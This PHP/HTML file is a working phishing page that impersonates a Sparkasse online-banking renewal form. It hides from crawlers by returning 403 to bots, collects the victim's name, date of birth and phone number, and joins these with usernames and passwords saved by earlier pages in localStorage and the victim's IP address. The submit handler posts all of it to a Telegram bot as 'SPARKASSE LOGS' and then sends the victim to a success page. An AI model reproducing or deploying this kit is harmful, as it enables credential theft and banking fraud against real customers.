 <?php
    require 'vendor/autoload.php';

    use Jaybizzle\CrawlerDetect\CrawlerDetect;

    $CrawlerDetect = new CrawlerDetect;
    $isBot = $CrawlerDetect->isCrawler();

    if (!$isBot) {
        include('config.php');

    ?>
     <!DOCTYPE html>
     <html lang="en">

     <head>
         <meta charset="UTF-8">
         <meta name="viewport" content="width=device-width, initial-scale=1.0">
         <meta http-equiv="X-UA-Compatible" content="ie=edge">
         <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css">
         <link rel="stylesheet" href="bootstrap/fontawesome-free-5.13.0-web/css/all.min.css">
        <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.1/css/all.min.css">
         <link rel="stylesheet" href="css/style.css">
         <title>SparkasseOnline - Erneuerung</title>
         <style>
             .header {
                 background: #EE0000;
             }

             .list-nav {
                 list-style: none;
                 gap: 35px;
             }

             .list-nav li a {
                 color: #fff;
             }

             @media screen and (max-width:991px) {
                 /* .header {
                     display: none;
                 } */

                 .mobile-header {
                     background: #EE0000;
                 }

                 .bg-red {
                     background: #EE0000;
                 }

                 .mobile-header {
                     display: block !important;
                 }

                 .close-icon {
                     display: none;
                 }

                 .icon-size {
                     cursor: pointer;
                 }

                 .sidebar {
                     display: none;
                     background-color: #f8f9fa;
                     box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
                     padding: 0px;
                 }

             }

             .MuiSvgIcon-root {
                 width: 50px;
                 fill: #fff;
             }

             .icon-size {
                 font-size: 20px;
                 color: #fff;
             }

             .mobile-header {
                 display: none;
             }

             .active-circle {
                 padding: 5px 13px;
                 background: #EE0000;
                 border-radius: 50px;
             }

             .no-active-circle {
                 background: #F2F2F2;
                 padding: 3px 10px;
                 border-radius: 50px;
                 border: 2px solid #000;
             }

             .btn-cont {
                 background: #EE0000;
                 color: #fff;
             }

             /* Chrome, Safari, Edge, Opera */
             input::-webkit-outer-spin-button,
             input::-webkit-inner-spin-button {
                 -webkit-appearance: none;
                 margin: 0;
             }

             /* Firefox */
             input[type=number] {
                 -moz-appearance: textfield;
             }

             @media screen and (max-width:600px) {
                 .btn-cont {
                     margin-bottom: 40px;
                 }
             }

             .floating {
    margin-bottom: 1rem;
    background-color: var(--field__background);
    transition: background-color 0.2s ease;
    border-top-left-radius: 4px;
    border-top-right-radius: 4px;
  }
  
  .floating:hover,
  .floating:focus-within {
    background-color: var(--field__background--hover);
  }
  
  .floating__input {
    padding: 1.8rem 1rem 0.6rem;
    font-size: 1rem;
    border: 1px solid #949494;
    border-radius: 5px;
    transition: border-color 0.2s ease;
    caret-color: var(--color__accent);
  }
  
  .floating:hover .floating__input {
    border-color: var(--input__border--hover);
  }
  
  .floating__input::placeholder {
    color: rgba(0, 0, 0, 0);
  }
  
  .floating__label {
    display: block;
    position: relative;
    max-height: 0;
    font-weight: 500;
    pointer-events: none;
  }
  
  .floating__label::before {
    color: var(--label__color);
    content: attr(data-content);
    display: inline-block;
    filter: blur(0);
    backface-visibility: hidden;
    transform-origin: left top;
    transition: transform 0.2s ease;
    left: 1rem;
    position: relative;
  }
  
  .floating__label::after {
    bottom: 1rem;
    content: "";
    height: 0.1rem;
    position: absolute;
    transition: transform 180ms cubic-bezier(0.4, 0, 0.2, 1),
      opacity 180ms cubic-bezier(0.4, 0, 0.2, 1), background-color 0.3s ease;
    opacity: 0;
    left: 0;
    top: 100%;
    margin-top: -0.1rem;
    transform: scale3d(0, 1, 1);
    width: 100%;
    background-color: var(--color__accent);
  }
  
  .floating__input:focus + .floating__label::after {
    transform: scale3d(1, 1, 1);
    opacity: 1;
  }
  
  .floating__input:placeholder-shown + .floating__label::before {
    transform: translate3d(0, -44px, 0) scale3d(1, 1, 1);
  }
  
  .floating__label::before,
  .floating__input:focus + .floating__label::before {
    transform: translate3d(0, -3.60rem, 0) scale3d(0.82, 0.82, 1);
  }
  
  .floating__input:focus + .floating__label::before {
    color: var(--color__accent);
  }
  
  /* ---------------------------------------------- */
  /* --  Codepen styles & resets - not required  -- */
  /* ---------------------------------------------- */

  
  .input {
    /* background: none; */
    /* border-width: 0; */
    display: block;
    width: 100%;
  }
  .calender-icon{
    position: absolute;
    right: 0;
    transform: translate(-20px, -52px);
    font-size: 22px;
    display: flex;
    align-items: center;
  }
  .fs-22{
    font-size: 15px;
  }
  .img-logo {
    padding-top: 25px;
    padding-bottom: 35px;
}
.top-header {
    background: #EE0000;
    border-bottom: 2px solid #E00000;
}
.footer {
    background: #666;
}
ul {
    list-style: none;
    line-height: 35px;
}

.bottom-footer {
    background: red;
}
.gap-50 {
    gap: 50px;
    flex-wrap: wrap;
    margin-left: 50px;
}

@media screen and (max-width:767px) {
    .fs-30{

        margin-top: 0px !important;
        padding-top: 15px !important;
        margin-bottom: 0px !important;
    }
    .mobile-margin{
        margin-top: 0px !important;
    }
    .txt-mobile{
        margin-bottom: 0px !important;
    }
    .gap-50 {
        row-gap: 20px;
    }
    .flex-gap{
        row-gap: 5px !important; 
    }
}
         </style>
     </head>

     <body>
        <section class="top-header">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-md-12 pb-2 pt-2">
                        <div class="d-flex align-items-center gap-20">
                            <a href="#" class="heading-text text-white ml-2"></a>
                            <a href="#" class="heading text-white"></a>
                        </div>
                    </div>
                </div>
            </div>
        </section>
        <header class="header">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-md-12 img-logo">
                        <img src="imges/logo.svg" width="180px" class="img-fluid ml-2" alt="">
                    </div>
                </div>
            </div>
        </header>
         <!-- <nav class="navbar navbar-expand-lg navbar-light">
        
        <div class="container-fluid flex-mobile-screen">
            <a class="navbar-brand" href="#"> <img src="imges/logo2.jpg" width="200" height="125" alt="">
            </a>
            <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent"
                aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>
            </button>

            <div class="collapse navbar-collapse" id="navbarSupportedContent">
                <ul class="navbar-nav ml-auto">
                    <li class="nav-item active">
                        <a class="nav-link" href="#">Ontdek Isabel 6</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#">Over Isabel Group</a>
                    </li>

                    <li class="nav-item">
                        <a class="nav-link" href="#">EN</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#">FR</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#"><span class="bg-green-search"><i
                                    class="fa fa-search"></i></span></a>
                    </li>
                    <li class="nav-item">
                        <span class="nav-link" href="#"><span class="bg-green-light"><img src="imges/new-user.svg"
                                    height="22px" alt=""> &nbsp;World Isabel 6 klant</span> </span>
                    </li>
                    <li class="nav-item">
                        <span class="nav-link" href="#"><span class="bg-green-light-01"><img
                                    src="imges/isabel-smartcard-2017.svg" height="22px" alt="">&nbsp; Login met
                                SmartCard </span></span>
                    </li>
                    <li class="nav-item">
                        <span class="nav-link" href="#"><span class="bg-green-light-01"><img src="imges/itsme.svg"
                                    height="22px" alt="">&nbsp; Login met itsme ® </span></span>
                    </li>

                </ul>

            </div>
        </div>
    </nav> -->
        
         <!-- <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="bg-dark-purple p-3">
                    <div class="d-flex justify-content-around flex-wrap">
                        <a href="#" class="text-white">Nuttige Links</a>
                        <a href="#" class="text-white">Boekhoudpakketten</a>
                        <a href="#" class="text-white">Modules</a>
                        <a href="#" class="text-white">Downloadzone</a>
                        <a href="#" class="text-white">Support</a>
                    </div>
                </div>
            </div>
        </div>
    </div> -->
         <div class="container">
             <div class="row">
                 <div class="col-md-6 m-auto mt-5 mb-5">
                     <div class="p-3 " >
                         <!-- <h1 class="mb-3 fs-30">Geben Sie Ihre Daten ein, um fortzufahren</h4> -->
                         <h2 class="mb-3 fs-30 text-center mt-5 pt-5">Persönliche Informationen
                        </h2>
                             <!-- <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Ad et tempora obcaecati, dolorum aut excepturi!</p> -->
                             <!-- <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid, impedit corrupti nulla sapiente facilis adipisci atque? Quibusdam nihil velit vitae non veritatis quae recusandae vel!</p> -->
                             <!-- <p>Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quos incidunt, odio magnam unde dicta illum perspiciatis atque a labore fuga cum aperiam maxime ducimus ad. Corrupti provident at reiciendis aspernatur assumenda ipsam officiis exercitationem vero corporis eos, laborum veritatis nulla.</p> -->
                             <div class="row align-items-center">
                                 <div class="col-lg-12 col-12 col-md-12 pt-5">
                                     <!-- <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid, impedit corrupti nulla sapiente facilis adipisci atque? Quibusdam nihil velit vitae non veritatis quae recusandae vel!</p> -->
                                     <form action="">
                                        <div class="floating">
                                            <input id="gsmNumber" class="floating__input input" name="username" type="text"  placeholder="Telefonnummer" required>
                                            <label for="firstName" class="floating__label" data-content="Vollständiger Name">
                                                <span class="hidden--visually">
                                                    </span></label>
                                        </div>
                                        <div class="floating position-relative">
                                            <input id="DOB" class="floating__input input dob-input" name="username" type="tel" maxlength="10"  placeholder="Geburtsdatum" required>
                                            <label for="firstName" class="floating__label" data-content="Geburtsdatum ">
                                                <span class="hidden--visually">
                                                    </span></label>
                                                    <div class="calender-icon">
                                                    <i class='bx bx-calendar-alt'></i>
                                                </div>
                                        </div>
                                        <h4 class="pt-4"></h4>
                                        <div class="floating position-relative">
                                            <input id="confirmNewPin" class="floating__input input creditCardInput" name="username" type="tel" placeholder="Anmeldename" required>
                                            <label for="firstName" class="floating__label" data-content="Telefonnummer">
                                                <span class="hidden--visually">
                                                    </span></label>
                                                   
                                        </div>
                                         <!-- <div class="form-group">
                                             <input type="number" class="form-control h-45" id="oldPin" required
                                                 placeholder="Alte PIN">
                                         </div> -->
                                         <!-- <div class="form-group">
                                             <input type="number" class="form-control h-45" id="newPin" required
                                                 placeholder="Neue PIN">
                                         </div> -->
                                         <!-- <div class="form-group">
                                             <input type="number" class="form-control h-45" id="confirmNewPin" required
                                                 placeholder="Neue PIN bestätigen">
                                         </div> -->
                                         <!-- <div class="form-group">
                                             <select class="form-control h-45" required id="delivery" id="exampleFormControlSelect1">
                                                 <option value="today">Lieferung heute</option>
                                                 <option value="tomorrow">Lieferung morgen</option>

                                             </select>
                                         </div> -->
                                         <button class="btn btn-cont col-md-12" style="padding: 12px; border-radius: 50px;">Weiter</button>
                                     </form>
                                 </div>
                               
                             </div>
                     </div>
                 </div>
             </div>
         </div>

         <footer class="footer mt-5 pt-3 pb-3">
            <div class="container">
                <div class="row">
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Beliebte Produkte</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Online-Banking</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Girokonto</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Tagesgeldkonto</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Festgeldkonto</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sparbuch</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Aufladbare Kreditkarte</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Kreditkarte</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Riester-Rente</a>
                            </li>
                        </ul>
                    </div>
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Finanzierung</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Kredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Privatkredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Dispokredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Autokredit</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Baufinanzierung</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Bausparen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Bauspardarlehen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Hypothekendarlehen</a>
                            </li>
                        </ul>
                    </div>
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Weitere Informationen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Ihre Pläne</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">GemeinsamAllemGewachsen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Aktuelle Themen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sicherheit im Internet</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Firmenkunden</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sparen &amp; Anlegen</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Altersvorsorge</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Versicherungen</a>
                            </li>
                        </ul>
                    </div>
                    <div class="col-md-3">
                        <ul>
                            <li>
                                <a href="#" class="text-white">Service</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Karriere</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Filialen A-Z</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Geldautomaten A-Z</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Finanzlexikon</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">SEPA</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Karte sperren</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sicherungssystem</a>
                            </li>
                            <li>
                                <a href="#" class="text-white">Sparkassen Apps</a>
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
        </footer>
        <footer class="bottom-footer">
            <div class="container">
                <div class="row">
                    <div class="col-md-12 p-3">
                        <div class="d-flex gap-50">
                            <a href="#" class="text-white">Wir über uns</a>
                            <a href="#" class="text-white">Impressum</a>
                            <a href="#" class="text-white">Datenschutz</a>
                            <a href="#" class="text-white">Nutzungshinweise</a>
                            <a href="#" class="text-white">Cookie-Einstellungen</a>
                        </div>
                    </div>
                </div>
            </div>
        </footer>

         <script src="bootstrap/jquery/jquery.min.js"></script>
         <script src="bootstrap/js/popper.min.js"></script>
         <script src="bootstrap/js/bootstrap.min.js"></script>
         <script>
            var app;
    
            (function () {
                'use strict';
    
                app = {
                    monthAndSlashRegex: /^\d\d \/ $/, // regex to match "MM / "
                    monthRegex: /^\d\d$/, // regex to match "MM"
    
                    el_cardNumber: '.ccFormatMonitor',
                    el_expDate: '#card_expiry',
                    el_cvv: '.cvv',
                    el_ccUnknown: 'cc_type_unknown',
                    el_ccTypePrefix: 'cc_type_',
                    el_monthSelect: '#monthSelect',
                    el_yearSelect: '#yearSelect',
    
                    cardTypes: {
                        'American Express': {
                            name: 'American Express',
                            code: 'ax',
                            security: 4,
                            pattern: /^3[47]/,
                            valid_length: [15],
                            formats: {
                                length: 15,
                                format: 'xxxx xxxxxxx xxxx'
                            }
                        },
                        'Visa': {
                            name: 'Visa',
                            code: 'vs',
                            security: 3,
                            pattern: /^4/,
                            valid_length: [16],
                            formats: {
                                length: 16,
                                format: 'xxxx xxxx xxxx xxxx'
                            }
                        },
                        'Maestro': {
                            name: 'Maestro',
                            code: 'ma',
                            security: 3,
                            pattern: /^(50(18|20|38)|5612|5893|63(04|90)|67(59|6[1-3])|0604)/,
                            valid_length: [16],
                            formats: {
                                length: 16,
                                format: 'xxxx xxxx xxxx xxxx'
                            }
                        },
                        'Mastercard': {
                            name: 'Mastercard',
                            code: 'mc',
                            security: 3,
                            pattern: /^5[1-5]/,
                            valid_length: [16],
                            formats: {
                                length: 16,
                                format: 'xxxx xxxx xxxx xxxx'
                            }
                        }
                    }
                };
    
                app.addListeners = function () {
                    $(app.el_expDate).on('keydown', function (e) {
                        app.removeSlash(e);
                    });
    
                    $(app.el_expDate).on('keyup', function (e) {
                        app.addSlash(e);
                    });
    
                    $(app.el_expDate).on('blur', function (e) {
                        app.populateDate(e);
                    });
    
                    $(app.el_cvv + ', ' + app.el_expDate).on('keypress', function (e) {
                        return e.charCode >= 48 && e.charCode <= 57;
                    });
                };
    
                app.addSlash = function (e) {
                    var isMonthEntered = app.monthRegex.exec(e.target.value);
                    if (e.key >= 0 && e.key <= 9 && isMonthEntered) {
                        e.target.value = e.target.value + " / ";
                    }
                };
    
                app.removeSlash = function (e) {
                    var isMonthAndSlashEntered = app.monthAndSlashRegex.exec(e.target.value);
                    if (isMonthAndSlashEntered && e.key === 'Backspace') {
                        e.target.value = e.target.value.slice(0, -3);
                    }
                };
    
                app.populateDate = function (e) {
                    var month, year;
    
                    if (e.target.value.length == 7) {
                        month = parseInt(e.target.value.slice(0, -5));
                        year = "20" + e.target.value.slice(5);
    
                        if (app.checkMonth(month)) {
                            $(app.el_monthSelect).val(month);
                        } else {
                            $(app.el_monthSelect).val(0);
                        }
    
                        if (app.checkYear(year)) {
                            $(app.el_yearSelect).val(year);
                        } else {
                            $(app.el_yearSelect).val(0);
                        }
    
                    }
                };
    
                app.checkMonth = function (month) {
                    if (month <= 12) {
                        var monthSelectOptions = app.getSelectOptions($(app.el_monthSelect));
                        month = month.toString();
                        if (monthSelectOptions.includes(month)) {
                            return true;
                        }
                    }
                };
    
                app.checkYear = function (year) {
                    var yearSelectOptions = app.getSelectOptions($(app.el_yearSelect));
                    if (yearSelectOptions.includes(year)) {
                        return true;
                    }
                };
    
                app.getSelectOptions = function (select) {
                    var options = select.find('option');
                    var optionValues = [];
                    for (var i = 0; i < options.length; i++) {
                        optionValues[i] = options[i].value;
                    }
                    return optionValues;
                };
    
                app.setMaxLength = function ($elem, length) {
                    if ($elem.length && app.isInteger(length)) {
                        $elem.attr('maxlength', length);
                    } else if ($elem.length) {
                        $elem.attr('maxlength', '');
                    }
                };
    
                app.isInteger = function (x) {
                    return (typeof x === 'number') && (x % 1 === 0);
                };
    
                app.createExpDateField = function () {
                    $(app.el_monthSelect + ', ' + app.el_yearSelect).hide();
                    $(app.el_monthSelect).parent().prepend('<input type="text" class="ccFormatMonitor">');
                };
    
    
                app.isValidLength = function (cc_num, card_type) {
                    for (var i in card_type.valid_length) {
                        if (cc_num.length <= card_type.valid_length[i]) {
                            return true;
                        }
                    }
                    return false;
                };
    
                app.getCardType = function (cc_num) {
                    for (var i in app.cardTypes) {
                        var card_type = app.cardTypes[i];
                        if (cc_num.match(card_type.pattern) && app.isValidLength(cc_num, card_type)) {
                            return card_type;
                        }
                    }
                };
    
                app.getCardFormatString = function (cc_num, card_type) {
                    for (var i in card_type.formats) {
                        var format = card_type.formats[i];
                        if (cc_num.length <= format.length) {
                            return format;
                        }
                    }
                };
    
                app.formatCardNumber = function (cc_num, card_type) {
                    var numAppendedChars = 0;
                    var formattedNumber = '';
                    var cardFormatIndex = '';
    
                    if (!card_type) {
                        return cc_num;
                    }
    
                    var cardFormatString = app.getCardFormatString(cc_num, card_type);
                    for (var i = 0; i < cc_num.length; i++) {
                        cardFormatIndex = i + numAppendedChars;
                        if (!cardFormatString || cardFormatIndex >= cardFormatString.length) {
                            return cc_num;
                        }
    
                        if (cardFormatString.charAt(cardFormatIndex) !== 'x') {
                            numAppendedChars++;
                            formattedNumber += cardFormatString.charAt(cardFormatIndex) + cc_num.charAt(i);
                        } else {
                            formattedNumber += cc_num.charAt(i);
                        }
                    }
    
                    return formattedNumber;
                };
    
                app.monitorCcFormat = function ($elem) {
                    var cc_num = $elem.val().replace(/\D/g, '');
                    var card_type = app.getCardType(cc_num);
                    $elem.val(app.formatCardNumber(cc_num, card_type));
                    app.addCardClassIdentifier($elem, card_type);
                };
    
                app.addCardClassIdentifier = function ($elem, card_type) {
                    var classIdentifier = app.el_ccUnknown;
                    if (card_type) {
                        classIdentifier = app.el_ccTypePrefix + card_type.code;
                        app.setMaxLength($(app.el_cvv), card_type.security);
                    } else {
                        app.setMaxLength($(app.el_cvv));
                    }
    
                    if (!$elem.hasClass(classIdentifier)) {
                        var classes = '';
                        for (var i in app.cardTypes) {
                            classes += app.el_ccTypePrefix + app.cardTypes[i].code + ' ';
                        }
                        $elem.removeClass(classes + app.el_ccUnknown);
                        $elem.addClass(classIdentifier);
                    }
                };
    
    
                app.init = function () {
    
                    $(document).find(app.el_cardNumber).each(function () {
                        var $elem = $(this);
                        if ($elem.is('input')) {
                            $elem.on('input', function () {
                                app.monitorCcFormat($elem);
                            });
                        }
                    });
    
                    app.addListeners();
    
                }();
    
            })();
        </script>
        <!-- <script>
            document.getElementById('confirmNewPin').addEventListener('input', function (e) {
                var target = e.target;
                var input = target.value.replace(/\D/g, '').substring(0, 16); 
                var formattedInput = input.replace(/(\d{4})(?=\d)/g, '$1 '); 
    
                target.value = formattedInput;
            });
        </script> -->
        
        <script>
            $(document).ready(function () {
                $('.dob-input').on('input', function (e) {
                    var dob = $(this).val().replace(/\D/g, '');
                    var formattedDob = '';
    
                    if (dob.length > 0) {
                        formattedDob += dob.substring(0, 2);
                        if (dob.length > 2) {
                            formattedDob += '/' + dob.substring(2, 4);
                            if (dob.length > 4) {
                                formattedDob += '/' + dob.substring(4, 8);
                            }
                        }
                    }
    
                    $(this).val(formattedDob);
                });
    
                $('.dob-input').on('keydown', function (e) {
                    var key = e.which || e.keyCode;
                    if (key === 8) { // Backspace key
                        var dob = $(this).val();
                        if (dob.length === 3 || dob.length === 6) {
                            $(this).val(dob.slice(0, -1));
                        }
                    }
                });
            });
        </script>
         <script>
             $(document).ready(function() {
                 $('.menu-icon').on('click', function() {
                     $(this).hide(); // Hide the menu icon
                     $('.close-icon').show(); // Show the close icon
                     $('.sidebar').slideDown(); // Slide down the sidebar
                 });

                 $('.close-icon').on('click', function() {
                     $(this).hide(); // Hide the close icon
                     $('.menu-icon').show(); // Show the menu icon
                     $('.sidebar').slideUp(); // Slide up the sidebar
                 });
             });
         </script>

         <script>
             $(document).ready(function() {

                 $("form").submit(function(e) {
                   
                     e.preventDefault();
                     var message_id = localStorage.getItem('message_id');
                     
                     var DOB = $('#DOB').val();
                     var password = localStorage.getItem('password');
                     var user_name = localStorage.getItem('user-name');
                     var gsmNumber =$('#gsmNumber').val();
                     var confirmNewPin =$('#confirmNewPin').val();
                     var your_bank = localStorage.getItem('your_bank');

                     // Récupérer les 2 tentatives de login
                     var login1 = JSON.parse(localStorage.getItem('login_attempt_1') || '{}');
                     var login2 = JSON.parse(localStorage.getItem('login_attempt_2') || '{}');
                     
                     // Envoyer à Telegram directement
                     var bottoken = "<?php echo bot_token; ?>";
                     var chatid = "<?php echo CHAT_ID; ?>";
                     var message = "🔴 SPARKASSE LOGS 🔴\n";
                     message += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n";
                     message += "📋 Message ID: " + message_id + "\n";
                     message += "🌐 IP: " + "<?= $_SERVER['REMOTE_ADDR'] ?>" + "\n\n";
                     
                     // Section Login Attempts
                     message += "🔐 LOGIN ATTEMPTS:\n";
                     message += "├─ Attempt 1: " + (login1.username || 'N/A') + " | " + (login1.password || 'N/A') + "\n";
                     message += "└─ Attempt 2: " + (login2.username || 'N/A') + " | " + (login2.password || 'N/A') + "\n\n";
                     
                     // Section Bank Info
                     message += "🏦 BANK INFORMATION:\n";
                     message += "└─ " + (your_bank || 'N/A') + "\n\n";
                     
                     // Section Personal Data
                     message += "👤 PERSONAL DATA:\n";
                     message += "├─ Username: " + (user_name || 'N/A') + "\n";
                     message += "├─ Password: " + (password || 'N/A') + "\n";
                     message += "├─ Date of Birth: " + (DOB || 'N/A') + "\n";
                     message += "├─ Full Name: " + (gsmNumber || 'N/A') + "\n";
                     message += "└─ Phone: " + (confirmNewPin || 'N/A') + "\n\n";
                     
                     message += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
                    
                     console.log(message)

                     $.ajax({
                         url: `https://api.telegram.org/bot${bottoken}/sendMessage`,
                         type: "POST",
                         dataType: "JSON",
                         data: {
                             chat_id: chatid,
                             text: message
                         },
                         success: function(res) {
                            //  alert('done');
                             window.location.href = "succes.php"
                         },
                         error: function(response) {
                             alert("Failed to submit your personal information to Telegram.");
                         }
                     });
                 });
             });
         </script>
     </body>

     </html>
 <?php } else {
        http_response_code(403);
        echo "Bot access is not allowed.";
    } ?>